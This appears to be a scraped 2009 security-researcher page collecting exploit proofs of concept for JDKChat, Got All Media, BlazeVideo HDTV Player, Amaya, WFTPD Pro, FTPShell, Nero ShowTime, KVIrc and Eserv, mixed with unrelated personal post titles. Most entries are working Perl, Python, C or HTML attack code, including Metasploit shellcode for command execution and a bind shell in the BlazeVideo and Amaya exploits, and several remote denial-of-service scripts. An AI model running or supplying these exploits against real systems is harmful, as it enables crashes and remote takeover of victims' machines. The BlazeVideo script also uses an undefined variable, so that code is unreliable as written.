JDKChat v1.5 Remote Integer Overflow PoC

--------------------------------------------------------

#!/usr/bin/perl
#
# Title: JDKChat v1.5 Remote Integer Overflow PoC
#
# Summary: JDKChat is a simple C++ chat server for GNU/Linux systems.
# Users can connect to it through a simple tcp client like telnet.
#
# WebSite : http://www.jdkoftinoff.com/
#
# ---------------------------- Demo ---------------------------------
# aleks@tux ~ $ telnet 192.168.0.1 7777
# Trying 192.168.0.1...
# Connected to 192.168.0.1.
# Escape character is '^]'.
# Welcome To jdkchat v1.5 by J.D. Koftinoff Software, Ltd.
# http://www.jdkoftinoff.com/
# and modified by Aditya Godbole (urwithaditya@gmx.net)
# Commands available:
#    /who  --  (list all users along with their connection numbers)
#    /exit  -- (exit chat room)
#    /local -- (toggle local mode for your telnet session)
#    /[connection number] message -- (send private message to user at
#                                     specified connection number)
#
#
#    JDKCHAT: Aleks just entered the room.
#    JDKCHAT: Users = Aleks:0
# Aleks >
#
#
# // And after we run the PoC :
#
#    JDKCHAT: PwNzOr just entered the room.
# Aleks >Connection closed by foreign host.
# aleks@tux ~ $
#
# ---------------------------- /Demo --------------------------------
#
#
# Vulnerability discovered by n3tpr0b3 & LiquidWorm
#
# n3tpr0b3 [AT] gmail [.] com
#
# 12.03.2009
#

use IO::Socket;

if ($#ARGV != 1) {
print "
      JDKChat v1.5 Remote Integer Overflow PoC By n3tpr0b3
      =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
      #        Usage : jdkchat_poc.pl SrvIP SrvPort      #
      #               Greetz to LiquidWorm               #
      =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n";
exit;
}

my $dupsa = new IO::Socket::INET (
 PeerAddr => "$ARGV[0]",
 PeerPort => "$ARGV[1]",
 Proto => "tcp"
)
or die "Could not connect to $ARGV[0]: $!\n";

sleep 1;
print $dupsa "\x50\x77\x4e\x7a\x4f\x72\x0d";
print "#--> Loged on t3h JDKChat server...\n";
sleep 1;
print "#--> Sending our evil command...   \n";
sleep 2;
print $dupsa "\x2f\x2d\x31\x0d";
close($dupsa);
print "#--> Server pwned...               \n";

-------------------------------------------------------



http://zeroscience.org/codes/jdkchat_poc.txt

"B'dnjaci" (2009)

Got All Media 7.0.0.3 Remote Denial Of Service Exploit

------------------------

#!/usr/local/bin/perl
#
# Title: Got All Media 7.0.0.3 Remote Denial Of Service Exploit
# Product web page: http://www.gallm.com/default.aspx
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# liquidworm [t00t] gmail [w00t] com
# http://www.zeroscience.org
# 19.02.2009
#

print "\n[*] t00ting...\n";

use LWP::Simple;

my $url = 'http://127.0.0.1:5550/t00t';
my $freeze = get $url;
die "Couldn't get $url" unless defined $freeze;

------------------------

http://www.zeroscience.org/codes/gotallmedia_dos.txt
http://www.securityfocus.com/bid/33830

Top 40 Animated Movies

-------------------

http://it.com.mk/index.php/Gjoko-Krstikj/Dizajn-i-animacija/Top-40-animirani-filmovi

-------------------

BlazeVideo HDTV Player <= 3.5 PLF Playlist File Remote Heap Overflow Exploit

----------------------------------------------------

#!/usr/bin/python
#
# Title: BlazeVideo HDTV Player <= 3.5 PLF Playlist File Remote Heap Overflow Exploit
#
# Summary: BlazeVideo HDTV Player (BlazeDTV) is a full-featured and easy-to-use HDTV
# Player software, combining HDTV playback, FM receiving, video record and DVD playback
# functions. You can make advantage of PC monitor's high resolution, watch, record, playback
# high definition HDTV program or teletext broadcast program.
#
# Product web page: http://www.blazevideo.com/hdtv-player/index.htm
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# ------------------------------------windbg------------------------------------
#
# (620.d74): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000001 ebx=77f6c15c ecx=04eb0dc0 edx=00000042 esi=0266ffc0 edi=00000001
# eip=43434343 esp=0013f288 ebp=6405247c iopl=0 nv up ei pl nz ac pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
# 43434343 ?? ???
#
#--------------------------------------------------------------------------------
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [t00t] gmail [w00t] com
#
# http://www.zeroscience.org/
#
# 03.02.2009
#


print "--------------------------------------------------------------------------"
print " BlazeVideo HDTV Player <= 3.5 Playlist File Remote Heap Overflow Exploit\n"
print "\t\t\tby LiquidWorm [liquidworm[t00t]gmail.com] - 2009\n"
print "--------------------------------------------------------------------------"

buffer = "\x41" * 260

eip = "\xc0\x25\x49\x7e" #jmp esp user32.dll

nop = "\x90" * 15

# win32_exec - EXITFUNC=thread CMD=sol Size=328 Encoder=Alpha2 http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x48\x6a\x65"
"\x58\x30\x42\x31\x50\x42\x41\x6b\x41\x41\x75\x32\x41\x42\x32\x42"
"\x41\x30\x42\x41\x41\x58\x38\x41\x42\x50\x75\x39\x79\x6b\x4c\x4a"
"\x48\x47\x34\x43\x30\x45\x50\x57\x70\x4c\x4b\x71\x55\x77\x4c\x4c"
"\x4b\x71\x6c\x37\x75\x30\x78\x75\x51\x78\x6f\x4c\x4b\x52\x6f\x32"
"\x38\x4c\x4b\x63\x6f\x45\x70\x55\x51\x5a\x4b\x31\x59\x6c\x4b\x44"
"\x74\x6c\x4b\x55\x51\x4a\x4e\x76\x51\x49\x50\x6d\x49\x4c\x6c\x4e"
"\x64\x6f\x30\x30\x74\x43\x37\x7a\x61\x59\x5a\x36\x6d\x46\x61\x6a"
"\x62\x58\x6b\x7a\x54\x45\x6b\x76\x34\x47\x54\x64\x44\x53\x45\x79"
"\x75\x4c\x4b\x63\x6f\x51\x34\x67\x71\x4a\x4b\x50\x66\x4c\x4b\x76"
"\x6c\x30\x4b\x4c\x4b\x43\x6f\x67\x6c\x34\x41\x58\x6b\x6e\x6b\x75"
"\x4c\x6c\x4b\x37\x71\x38\x6b\x6c\x49\x63\x6c\x54\x64\x44\x44\x79"
"\x53\x50\x31\x69\x50\x63\x54\x4c\x4b\x63\x70\x34\x70\x4b\x35\x4f"
"\x30\x53\x48\x56\x6c\x6e\x6b\x71\x50\x76\x6c\x4c\x4b\x34\x30\x45"
"\x4c\x4c\x6d\x4e\x6b\x50\x68\x55\x58\x5a\x4b\x54\x49\x4c\x4b\x6f"
"\x70\x4e\x50\x55\x50\x63\x30\x75\x50\x4c\x4b\x72\x48\x55\x6c\x71"
"\x4f\x45\x61\x39\x66\x41\x70\x72\x76\x4f\x79\x6b\x48\x4d\x53\x4f"
"\x30\x73\x4b\x50\x50\x50\x68\x6a\x4f\x48\x4e\x6d\x30\x43\x50\x62"
"\x48\x6f\x68\x4b\x4e\x4f\x7a\x74\x4e\x46\x37\x39\x6f\x69\x77\x41"
"\x63\x50\x6f\x70\x6c\x75\x50\x65"
)

payload = garbage + eip + nop + shellcode + nop

try:
out_file = open("Groundhog_Day.plf",'w')
out_file.write(payload)
out_file.close()
raw_input("\n\n[*] Evil playlist successfully created.\n\nPress any key to continue...")
except:
print "Oops!"

----------------------------------------------------


http://www.securityfocus.com/bid/33588
http://www.packetstormsecurity.org/filedesc/blazehdtv-hof.txt.html

Amaya Web Editor 11 Remote SEH Overwrite Exploit

===============================================================

#!/usr/bin/perl
#
# Title: Amaya Web Editor 11 Remote SEH Overwrite Exploit
#
# Summary: Amaya is a Web editor, i.e. a tool used to create and update documents directly on the Web.
#
# Product web page: http://www.w3.org/Amaya/
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Reference: http://www.milw0rm.com/exploits/7906
#
# Exploit coded by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [t00t] gmail [w00t] com
#
# 30.01.2009
#
#------------------------------------------------------------------
#
# lqwrm@zeroscience:~$ telnet 192.168.1.101 6161
# Trying 192.168.1.101...
# Connected to 192.168.1.101.
# Escape character is '^]'.
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\Amaya\WindowsWX\bin>dir
# Volume in drive C is System
# Volume Serial Number is D484-8540
#
# Directory of C:\Program Files\Amaya\WindowsWX\bin
#
# 29.01.2009 19:27 <DIR> .
# 29.01.2009 19:27 <DIR> ..
# 16.12.2008 14:44 5.816.320 amaya.exe
# 16.12.2008 14:41 1.290.240 thotprinter.dll
# 19.08.2008 11:02 135.168 wxbase28u_net_vc_custom.dll
# 19.08.2008 11:01 1.220.608 wxbase28u_vc_custom.dll
# 19.08.2008 11:02 135.168 wxbase28u_xml_vc_custom.dll
# 19.08.2008 11:03 741.376 wxmsw28u_adv_vc_custom.dll
# 19.08.2008 11:03 286.720 wxmsw28u_aui_vc_custom.dll
# 19.08.2008 11:01 3.018.752 wxmsw28u_core_vc_custom.dll
# 19.08.2008 11:02 49.152 wxmsw28u_gl_vc_custom.dll
# 19.08.2008 11:02 524.288 wxmsw28u_html_vc_custom.dll
# 19.08.2008 11:03 593.920 wxmsw28u_xrc_vc_custom.dll
# 11 File(s) 13.811.712 bytes
# 2 Dir(s) 7.520.141.312 bytes free
#
# C:\Program Files\Amaya\WindowsWX\bin>
#
#------------------------------------------------------------------



my $start = "<html>" . "\n" . '<bdo dir="' . "\n";

my $junk = "\x41" x 10556;

my $seh = "\xc5\x87\x85\x7c"; #0x7c8587c5 pop pop ret kernel32.dll - (SE handler) - EIP
#0x7c941eed jmp esp kernel32.dll
#0x7c836960 call esp kernel32.dll
#0x7c85d568 call esp kernell32.dll
# ...

my $next_seh = "\xeb\x06\x90\x90"; #0x909006eb jmp+0x06 - (Pointer to next SEH record)

my $nop = "\x90" x 50;

# win32_bind - EXITFUNC=seh LPORT=6161 Size=344 Encoder=PexFnstenvSub http://metasploit.com
my $sc = "\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb0".
"\x6b\x3a\x1e\x83\xeb\xfc\xe2\xf4\x4c\x01\xd1\x53\x58\x92\xc5\xe1".
"\x4f\x0b\xb1\x72\x94\x4f\xb1\x5b\x8c\xe0\x46\x1b\xc8\x6a\xd5\x95".
"\xff\x73\xb1\x41\x90\x6a\xd1\x57\x3b\x5f\xb1\x1f\x5e\x5a\xfa\x87".
"\x1c\xef\xfa\x6a\xb7\xaa\xf0\x13\xb1\xa9\xd1\xea\x8b\x3f\x1e\x36".
"\xc5\x8e\xb1\x41\x94\x6a\xd1\x78\x3b\x67\x71\x95\xef\x77\x3b\xf5".
"\xb3\x47\xb1\x97\xdc\x4f\x26\x7f\x73\x5a\xe1\x7a\x3b\x28\x0a\x95".
"\xf0\x67\xb1\x6e\xac\xc6\xb1\x5e\xb8\x35\x52\x90\xfe\x65\xd6\x4e".
"\x4f\xbd\x5c\x4d\xd6\x03\x09\x2c\xd8\x1c\x49\x2c\xef\x3f\xc5\xce".
"\xd8\xa0\xd7\xe2\x8b\x3b\xc5\xc8\xef\xe2\xdf\x78\x31\x86\x32\x1c".
"\xe5\x01\x38\xe1\x60\x03\xe3\x17\x45\xc6\x6d\xe1\x66\x38\x69\x4d".
"\xe3\x38\x79\x4d\xf3\x38\xc5\xce\xd6\x03\x22\x0f\xd6\x38\xb3\xff".
"\x25\x03\x9e\x04\xc0\xac\x6d\xe1\x66\x01\x2a\x4f\xe5\x94\xea\x76".
"\x14\xc6\x14\xf7\xe7\x94\xec\x4d\xe5\x94\xea\x76\x55\x22\xbc\x57".
"\xe7\x94\xec\x4e\xe4\x3f\x6f\xe1\x60\xf8\x52\xf9\xc9\xad\x43\x49".
"\x4f\xbd\x6f\xe1\x60\x0d\x50\x7a\xd6\x03\x59\x73\x39\x8e\x50\x4e".
"\xe9\x42\xf6\x97\x57\x01\x7e\x97\x52\x5a\xfa\xed\x1a\x95\x78\x33".
"\x4e\x29\x16\x8d\x3d\x11\x02\xb5\x1b\xc0\x52\x6c\x4e\xd8\x2c\xe1".
"\xc5\x2f\xc5\xc8\xeb\x3c\x68\x4f\xe1\x3a\x50\x1f\xe1\x3a\x6f\x4f".
"\x4f\xbb\x52\xb3\x69\x6e\xf4\x4d\x4f\xbd\x50\xe1\x4f\x5c\xc5\xce".
"\x3b\x3c\xc6\x9d\x74\x0f\xc5\xc8\xe2\x94\xea\x76\x40\xe1\x3e\x41".
"\xe3\x94\xec\xe1\x60\x6b\x3a\x1e";

my $end = '">' . "\n" . "t00t</bdo>" . "\n" . "</html>";

my $file= "Slumdog_Millionaire.html";

$payload = "$start" . "$junk" . "$next_seh" . "$seh" . "$nop" . "$sc " . "$end";

open (exploit, ">./$file") or die "Can't open $file: $!";

print exploit "$payload";

close (exploit);

print "\t\n - $file successfully created!\n";

===============================================================




http://www.milw0rm.com/exploits/7926
http://zeroscience.org/codes/amaya_seh.txt

WFTPD Pro Server 3.30.0.1 (pre auth) Multiple Remote Denial of Service Vulnerabilities

========================================================

/*********************************************************************************************************\
*
* Title: WFTPD Pro Server 3.30.0.1 (pre auth) Multiple Remote Denial of Service Vulnerabilities
*
* Summary: Professional FTP server for Windows NT / 2000 / XP / 2003
*
* Desc: WFTPD Pro Server 3.30.0.1 suffers from multiple remote vulnerabilities which resolves
* in denial of service. Several commands are vulnerable including: LIST, MLST, NLST, NLST -al,
* STAT and maybe more.
*
* Product web page: http://www.wftpd.com/
*
* Tested on Microsoft Windows XP Professional SP2 (English)
*
* Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
*
* liquidworm [t00t] gmail [w00t] com
*
* http://www.zeroscience.org/
*
* 26.01.2009
*
\********************************************************************************************************/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>

void header(void);

int main (int argc, char *argv[])
{
int sckt = 0, sfd = 0;

unsigned char payload[]=

"\x4E\x4C\x53\x54\x20\x2D\x61\x6C\x20" // NLST -al
// "\x4C\x49\x53\x54 - LIST, \x4D\x4C\x53\x54 - MLST, \x4E\x4C\x53\x54 - NLST, \x53\x54\x41\x54 - STAT +\x20
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" // 1400 bytes
"\xD\xA";

header();

if(argc != 2)
{
printf("\nUsage: %s [ip]\n\n", argv[0]);
return (EXIT_SUCCESS);
}

struct sockaddr_in dos_ftp;
sfd = socket(AF_INET, SOCK_STREAM, 0);
if(sfd < 0)
{
perror("Socket");
printf("Error creating socket...\n");
return(1);
}

printf("\n\n[+] Socket created!\n");
sleep (1);

memset(&dos_ftp, 0x0, sizeof(dos_ftp));
dos_ftp.sin_family = AF_INET;
dos_ftp.sin_addr.s_addr = inet_addr(argv[1]);
dos_ftp.sin_port = htons(21);
sckt = connect(sfd, (struct sockaddr *) &dos_ftp, sizeof(dos_ftp));
if(sckt < 0)
{
perror("Connect");
printf("Error connecting...\n");
return(1);
}

printf("[+] Connection established!\n");
sleep (1);

printf("[+] Sending malicious payload to %s ...\n", argv[1]);
sleep(2);

send(sfd, payload, sizeof(payload), 0);
printf("[+] Malicious payload succesfully sent...\n");
sleep (1);
printf("[+] WFTPD on %s has crashed!\n\n", argv[1]);

close (sfd);

return(0);
}

void header()
{
printf("\n--------------------------------------------------------------------------------\n\n");
printf("\tWFTPD Pro Server 3.30.0.1 (pre auth) Remote Denial of Service Exploit\n");
printf("\t\t\tby LiquidWorm \n\n");
printf("--------------------------------------------------------------------------------\n\n");
}

========================================================


http://www.packetstormsecurity.org/filedesc/wftpdpro_dos.c.txt.html
http://www.securityfocus.com/bid/33426
http://www.zeroscience.org/codes/wftpdpro_dos.c

FTPShell Server 4.3 (licence key) Remote Buffer Overflow PoC

===========================================================================

#!/usr/bin/perl
#
# Title: FTPShell Server 4.3 (licence key) Remote Buffer Overflow PoC
#
# Summary: FTPShell server is a windows FTP service that enables remote file downloads and uploads.
# It supports regular and secure FTP based on both SSL/TLS and SSH2. It is also extremely easy to
# configure and use.
#
# Product web page: http://www.ftpshell.com/index.htm
#
# Desc: FTPShell Server 4.3 suffers from buffer overflow vulnerability that can be exploited remotely or localy.
# It fails to perform adequate boundry condition of the input .key file, allowing us to overwrite the EAX and EDX
# registers. When trying to install licence with less than 8000 bytes we get a message: "It appears that your key
# file is corrupt or invalid.", but when installing a licence with 8000 bytes we get a message: "Your licence key
# has been succesfully loaded. Please restart the program."
#
# Note: When you restart the program, it will always crash untill you repair it or reinstall it.
#
#
# ---------------------------------WinDbg-------------------------------------
#
# (1178.1d4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=41414141 ebx=00b159c0 ecx=00b159c0 edx=41414141 esi=00b1c630 edi=00000005
# eip=004039a0 esp=0012f3bc ebp=00000000 iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
#
# ftpshelldscp+0x39a0:
# 004039a0 ff5210 call dword ptr [edx+10h] ds:0023:41414151=????????
#
# ----------------------------------------------------------------------------
#
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [t00t] gmail [w00t] com
#
# http://www.zeroscience.org
#
# 22.01.2009
#
####################################################################################


$file = "Yes_Man.key";

$payload = "\x41" x 8000;

print "\n\n[-] Buffering malicious playlist file. Please wait...\r\n";

sleep (1);

open (key, ">./$file") || die "\nCan't open $file: $!";

print key "$payload";

close (key);

print "\n\n[+] File $file successfully created!\n\n\a";

===========================================================================



http://www.milw0rm.com/exploits/7852

Matura (18.05.2006)

Everyday Life

Remember !

EE at Pub House (03.12.2005-Saturday)

Endless Effort at Youth Gig-(Sokolana)

EE at In Caffe (Hacienda) - 09.10.2005

Happy New Year Everybody

Live long and prosper.

t00t

IT.com.mk crew at Cisco Expo Macedonia 2008

Flickr: http://www.flickr.com/photos/it_com_mk/sets/72157610179076287/

Nero ShowTime v5.0.15.0 m3u Playlist File Remote Buffer Overflow PoC

#!/usr/bin/perl -w
#
# Nero ShowTime v5.0.15.0 m3u Playlist File Remote Buffer Overflow PoC
#
# Summary: Nero ShowTime provides you with a high-performance software DVD player
# that takes you to a new dimension in DVD's. Its cinema-like sound and excellent image
# quality for all digital pictures make an adventure of every film! What is more, Nero ShowTime
# supports all DVD-Video formats and can play them from a disc and from the hard drive.
#
# Product web page: http://www.nero.com
#
# Description: Nero ShowTime is prone to a buffer-overflow vulnerability because it fails
# to perform adequate boundary checks on user-supplied input. Successfully exploiting
# these issues may allow remote attackers to execute arbitrary code in the context of the
# application. Failed exploit attempts will cause denial-of-service conditions. Nero ShowTime
# 5.0.15.0 is vulnerable, prior versions may also be affected.
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [ t00t ] gmail [ d0t ] com
#
# 24.11.2008
#

$filename = "Jackie_Chan.m3u";

$mana = "A" x 432809;

print "\n\n[*] Creating evul playlist: $filename ...\r\n";
sleep(3);

open(m3u, ">./$filename") || die "\n\aCannot open $filename: $!";

print m3u "$mana";

close (m3u);

print "\n[*] Playlist file successfully created!\r\n";

KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)

-------------------------------------------
<!--

KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)

Summary: KVIrc is a free portable IRC client based on the excellent Qt GUI toolkit.
KVirc is being written by Szymon Stefanek and the KVIrc Development Team with
the contribution of many IRC addicted developers around the world.

Product web page: http://www.kvirc.net/

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

liquidworm [t00t] gmail [d0t] com

http://www.zeroscience.org

24.10.2008

-->


<html>

<title>KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)</Title>

<head>

<body>

<center> <br /> <br /> <strong>Warning ! :)</strong> </center>

<body bgcolor="#FFFF00">

<script type="text/javascript">

alert("KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)\n\n\t\tby LiquidWorm (c) 2008");

function poc()
{
window.location.href = "irc://A:%n -i";
}

var answ = confirm("Press OK to start exploitation\nPress Cancel to skip exploitation");

if (answ == true)
{
poc();
}

else
{
window.location.href = "http://www.kvirc.net";
}

</script> </body> </head> </html>

-------------------------------------------



PoC: http://zeroscience.org/codes/kvirc_fs.html

Eserv/3.x FTP Server (ABOR) Remote Stack Overflow PoC

---------------------------------------------------

#!/usr/bin/perl
#
# Eserv/3.x FTP Server (ABOR) Remote Stack Overflow PoC
#
# Summary: Eserv/3.x - Mail, News, Web and Proxy Servers - Mail
# Server (SMTP, IMAP4 and POP3) - News Server (NNTP) - Web Server
# (HTTP) - FTP Server - Proxy Servers (HTTP, FTP, Socks, etc) - Finger
# Server - Built-in scheduler and dialer.
#
# Product web page: http://www.eserv.ru/ | www.etype.net/eserv/
#
# Tested on Microsoft Windows XP SP2 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [t00t] gmail.com
#
